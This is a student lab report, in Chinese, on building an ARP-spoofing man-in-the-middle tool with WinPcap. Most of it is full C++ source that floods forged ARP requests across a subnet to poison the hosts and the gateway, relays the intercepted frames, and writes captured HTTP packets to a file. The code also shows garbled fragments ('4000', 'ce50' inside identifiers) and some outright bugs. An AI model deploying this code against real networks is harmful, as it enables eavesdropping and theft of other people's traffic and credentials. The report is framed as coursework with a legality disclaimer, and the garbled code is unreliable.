利用WinPcap编程，实现基于ARP欺骗的中间人攻击

*******此实验旨在交流学习，请勿用在非正常合法途径*******

利用WinPcap编程，实现基于ARP欺骗的中间人攻击

一、实验内容

利用WinPcap，分别向被欺骗主机和网关发送APR请求包， 达到同时欺骗目标主机和网关的目的；

所有目标主机和网关之间的数据都会被我们劫持，过滤 两者之间的所有http交互数据包，并保存为文件。 （http包的过滤可用80端口来标识）

二、设计思想

理解ARP欺骗原理，将本机作为ARP欺骗的发起主机，即发起“中间人攻击”

本机欺骗网关，网关向本局域网内其他主机发送的所有数据包时，本机将数据包的发送方MAC地址均改为本机的MAC地址。

本机欺骗网内所有主机，其他主机向局域网网关发送的所有数据包时，本机将数据包的发送方MAC地址均改为本机的MAC地址。

欺骗主机作为“中间人”，被欺骗主机的数据都经过它中转一次，这样欺骗主机可以窃取到被它欺骗的主机之间的通讯数据，并将其存储到相应文件之中，以便之后的详细分析。

三、实验要求

  提交源码（源码编写要规范）、可执行程序、实验报告（要有程序运行截图）。

四、实验分析

获取与网卡绑定的设备列表

要求用户选择用于捕获数据帧的设备

设置过滤规则

使用wpcap.dll实现ARP报文的发送功能

借助网络分析工具对ARP欺骗过程进行验证和分析

利用IP地址和IPV4的首部修改IP头，进行ARP欺骗

五、实验代码

一开始发现欺骗成功，但怎么写都没办法实现转发成功

后来修改这相应参数值

if ((adhandle = pcap_open_live(d->name, // name of the device
65536,         // portion of the packet to capture
0,             // open flag
1,          // read timeout
errbuf         // error buffer
)) == NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
pcap_freealldevs(alldevs);
return -1;
}

使得相应的能够转发成功

1. 又遇见新的问题，MAC值传递有问题

void transMac(char source[], u_char *dest)
{
short i;
int sourceLen = strlen(source);
unsigned char highByte, lowByte;
for (i = 0; i < sourceLen; i += 3)
{
highByte = toupper(source[i]);
lowByte  = toupper(source[i + 1]);
if(highByte > 0x39)
highByte -= 0x37;
else
highByte -= 0x30;
if(lowByte > 0x39)
lowByte -= 0x37;
else
lowByte -= 0x30;
dest[i/3] = (highByte << 4) | lowByte;
}
}

char GateMac[100]=”“,FackMac[100]=”“;

通过固定MAC然后进入函数中去转化，用这个值传输，使得我最终能得到正确的MAC地址

1. 后来不知道为什么当我写入文件的时候打开网页弹窗直接崩掉，经查看分析，发现是由于我忘写文件打开与关闭，导致正常的文件写入出现问题

完整代码

// ARPSpoofing.cpp : 定义控制台应用程序的入口点。
//
#include <iostream>
#include <stdio.h>
#include <conio.h>
#include <pcap.h>
#include <packet32.h>
#include <WinSock2.h>
#include <ntddndis.h>
#include "ArpSpoofing.h"

using namespace std;

unsigned char *mac; //本机MAC地址
unsigned char *fakemac; //被欺骗主机MAC地址
unsigned char *gatewaymac ;//网关MAC地址
unsigned long FakeIp; //要伪装成的IP地址
unsigned char *packet; //ARP包
unsigned long netsize;
unsigned long net;
pcap_t *adhandle; //一个pcap实例

struct EthernetHeader
{
u_char DestMAC[6];    //目的MAC地址 6字节
u_char SourMAC[6];   //源MAC地址 6字节
u_short EthType;         //上一层协议类型，如0x0800代表上一层是IP协议，0x0806为arp  2字节
};
struct TcpHeader
{
u_char SrcPort[4];
u_char DesPort[4];
};
void transMac(char source[], u_char *dest)
{
short i;
int sourceLen = strlen(source);
unsigned
4000
char highByte, lowByte;
for (i = 0; i < sourceLen; i += 3)
{
highByte = toupper(source[i]);
lowByte  = toupper(source[i + 1]);
if(highByte > 0x39)
highByte -= 0x37;
else
highByte -= 0x30;
if(lowByte > 0x39)
lowByte -= 0x37;
else
lowByte -= 0x30;
dest[i/3] = (highByte << 4) | lowByte;
}
}
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName)
{
static u_char mac[6];
memset(mac, 0, sizeof(mac));
LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
return NULL;
}

PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
if (OidData == NULL)
{
PacketCloseAdapter(lpAdapter);
return NULL;
}
//
// Retrieve the adapter MAC querying the NIC driver
//
OidData->Oid = OID_802_3_CURRENT_ADDRESS;
OidData->Length = 6;
memset(OidData->Data, 0, 6);
BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);

if (Status)
{
memcpy(mac, (u_char*)(OidData->Data), 6);
}
free(OidData);
PacketCloseAdapter(lpAdapter);

return mac;
}

/*
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP)
{
static struct arp_packet packet;

//目的MAC地址为广播地址，FF-FF-FF-FF-FF-FF
memset(packet.eth.dest_mac, 0xFF, 6);
//源MAC地址
memcpy(packet.eth.source_mac, source_mac, 6);
//上层协议为ARP协议，0x0806
packet.eth.eh_type = htons(0x0806);
//硬件类型，Ethernet是0x0001
packet.arp.hardware_type = htons(0x0001);
//上层协议类型，IP为0x0800
packet.arp.protocol_type = htons(0x0800);
//硬件地址长度：MAC地址长度为0x06
packet.arp.add_len = 0x06;
//协议地址长度：IP地址长度为0x04
packet.arp.pro_len = 0x04;
//操作：ARP请求为1
packet.arp.option = htons(0x0001);
//源MAC地址
memcpy(packet.arp.sour_addr, source_mac, 6);
//源IP地址
packet.arp.sour_ip = srcIP;
//目的MAC地址，填充0
memset(packet.arp.dest_addr, 0, 6);
//目的IP地址
packet.arp.dest_ip = destIP;
//填充数据，18个字节
memset(packet.arp.padding, 0, 18);

return (unsigned char*)&packet;
}

DWORD WINAPI arp_proof()
{
while(1)
{
for(unsigned long n=1; n<netsize; n++){
//第i台主机的IP地址，网络字节顺序
unsigned long destIp = net | htonl(n);
//构建假的ARP请求包，达到本机伪装成给定的IP地址的目的
packet = BuildArpPacket(mac,FakeIp,destIp);
if(pcap_sendpacket(adhandle, packet, 60)==-1)
{
fprintf(stderr,"pcap_sendpacket error.\n");
}
unsigned long destIp2 = net | htonl(1);
packet = BuildArpPacket(mac,destIp2,FakeIp);
if(pcap_sendpacket(adhandle, packet, 60)==-1)
{
fprintf(stderr,"pcap_sendpacket error.\n");
}
}
Sleep(1000);
}
return 0;
}

int main(int argc, char* argv[])
{
argc = 2;
//argv[0] = "192.168.0.1";
argv[1] = "172.20.10.2";
pcap_if_t *alldevs;            //全部网卡列表
pcap_if_t *d;                  //一个网卡
int inum;                      //用户选择的网卡序号
int i = 0;                       //循环变量
char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区
//unsigned char *mac;            //本机MAC地址
//unsigned char *packet;         //ARP包
//unsigned long FakeIp;          //要伪装成的IP地址
pcap_addr_t *pAddr;            //网卡地址
unsigned long ip;              //IP地址
unsigned long netmask;         //子网掩码
struct pcap_pkthdr *header;    //接收到的数据包的头部
const u_char *pkt_data;           //接收到的数据包的内容
int res;                                    //表示是否接收到了数据包
char filters[100]="not arp";
struct bpf_program fcode;
/* 从参数列表中获得要伪装的IP地址 */
if (argc != 2)
{
cout<<"Usage: "<<argv[0]<<" inet_addr"<<endl;
return -1;
}
FakeIp = inet_addr(argv[1]);
//cout<<"FakeIp: "<<argv[1]<<endl;
if (INADDR_NONE == FakeIp)
{
fprintf(stderr, "Invalid IP: %s\n", argv[1]);
return -1;
}

/*获得本机网卡列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
return -1;
}
for (d = alldevs; d; d = d->next)
{
cout<<++i;
if (d->description)
{
cout<<". "<<d->description<<endl;
}
else
{
cout<<". No description available"<<endl;
}
}
//如果没有发现网卡
if (i == 0)
{
cout<<"\nNo interfaces found! Make sure WinPcap is installed."<<endl;
return -1;
}
//用户选择一个网卡
cout<<"Enter the interface number (1-"<<i<<"):"<<endl;
cin>>inum;

if (inum < 1 || inum > i)
{
cout<<"Interface number out of range."<<endl;
pcap_freealldevs(alldevs);
return -1;
}

/* 移动指针到用户选择的网卡 */
for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);

mac = GetSelfMac(d->name); //+8以去掉"rpcap://"
if (mac == NULL)
{
printf("\n本地MAC地址获取失败.\n");
return -1;
}

printf("发送ARP欺骗包，本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], argv[1]);
//printf("发送ARP欺骗包，本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n",
//    mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], argv[0]);
/* 打开网卡 */
if ((adhandle = pcap_open_live(d->name, // name of the device
65536,         // portion of the packet to capture
0,             // open flag
1,          // read timeout
errbuf         // error buffer
)) == NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
pcap_freealldevs(alldevs);
return -1;
}
FILE *fp;
//cout<<"1"<<endl;
for (pAddr = d->addresses; pAddr; pAddr = pAddr->next)
{
//得到用户选择的网卡的一个IP地址
ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
//得到该IP地址对应的子网掩码
netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;
//cout<<"2"<<endl;
if (!ip || !netmask)
{
// cout<<"6"<<endl;
continue;
}

//看这个IP和要伪装的IP是否在同一个子网
if ((ip&netmask) != (FakeIp&netmask))
{
//cout<<"5"<<endl;
continue;       //如果不在一个子网，继续遍历地址列表
}

netsize = ntohl(~netmask); //网络中主机数
net = ip & netmask;        //子网地址
HANDLE temp= Creat
ce50
eThread(NULL, 0, (LPTHREAD_START_ROUTINE) arp_proof, 0, 0, NULL);
//in_addr subnetIp;
char GateMac[100]=" ",FackMac[100]=" ";
cout<<"FakeMac: "<<FackMac<<endl;
fakemac=(unsigned char *)malloc(sizeof(unsigned char)*6);
transMac(FackMac,fakemac);
cout<<"GateMac: "<<GateMac<<endl;
gatewaymac=(unsigned char *)malloc(sizeof(unsigned char)*6);
transMac(GateMac,gatewaymac);

cout<<"**************************"<<endl;
if (pcap_compile(adhandle, &fcode, filters, 1, netmask) < 0)
{
cout<<"Error"<<endl;
pcap_freealldevs(alldevs);
}
// set the filter
if (pcap_setfilter(adhandle, &fcode) < 0)
{
cout<<"Error"<<endl;
pcap_freealldevs(alldevs);
}

//for (unsigned long n = 1; n<netsize; n++)
//{
//cout<<"4"<<endl;
while ((res = pcap_next_ex(adhandle,&header, &pkt_data))>=0){
if(res == 0)
continue;//read time out
unsigned char *mac1=(unsigned char *)malloc(sizeof(unsigned char)*6); //本机MAC地址
EthernetHeader * eheader = (EthernetHeader*)pkt_data;

http_head * httpheader = (http_head*) pkt_data+34;
if(memcmp(eheader->SourMAC,fakemac,6)==0)
{
memcpy(mac1,gatewaymac,6);
cout<<"des  YES!"<<endl;
}
else if(memcmp(eheader->SourMAC,gatewaymac,6)==0)
{
memcpy(mac1,fakemac,6);
cout<<"gate   YES!"<<endl;
}
else continue;
if(fp = fopen("1.txt","wb"));
else
{
cout<<"Fail to open the file!"<<endl;
}
if (httpheader->source_port == htons(80) || httpheader->dest_port == htons(80))
{
//保存此包
int Ret = fwrite(pkt_data, header->caplen, 1, fp);//写入文件
if (Ret<1 && ferror(fp) != 0)
{
cout<<"fail!"<<<endl;
break;
}
}
memcpy((void *)pkt_data,mac1,6);
memcpy((void *)(pkt_data+6),mac,6);
pcap_sendpacket(adhandle,(const unsigned char *)pkt_data,header->caplen);
}
}
fclose(fp);
pcap_freealldevs(alldevs);//释放网络设备
return 0;
}

截图





下列是抓包得到的数据









从这4副图很好的说明了受害者与网关的通信都经过了本主机

六、总结

1.基本实现了作业的内容，一个是发送ARP请求包，达到同时欺骗目标主机和网关的目的，另一个是劫持主机和网关的数据，过滤两个之间的哦有http交互数据包

2.主要代码通过教材和WinPcap官方文档学习，并且不断交流学习，修改错误，最终完成

4.学到了项目调试的很多知识，完成作业的时间较慢，需要继续努力学习

5.在完成过程中出现了很多问题，也在他人的帮助下学习到很多，无论是参数问题，还是代码书写问题，都注意很多

注：此次编程还存在很多不足，代码很简陋，以后完善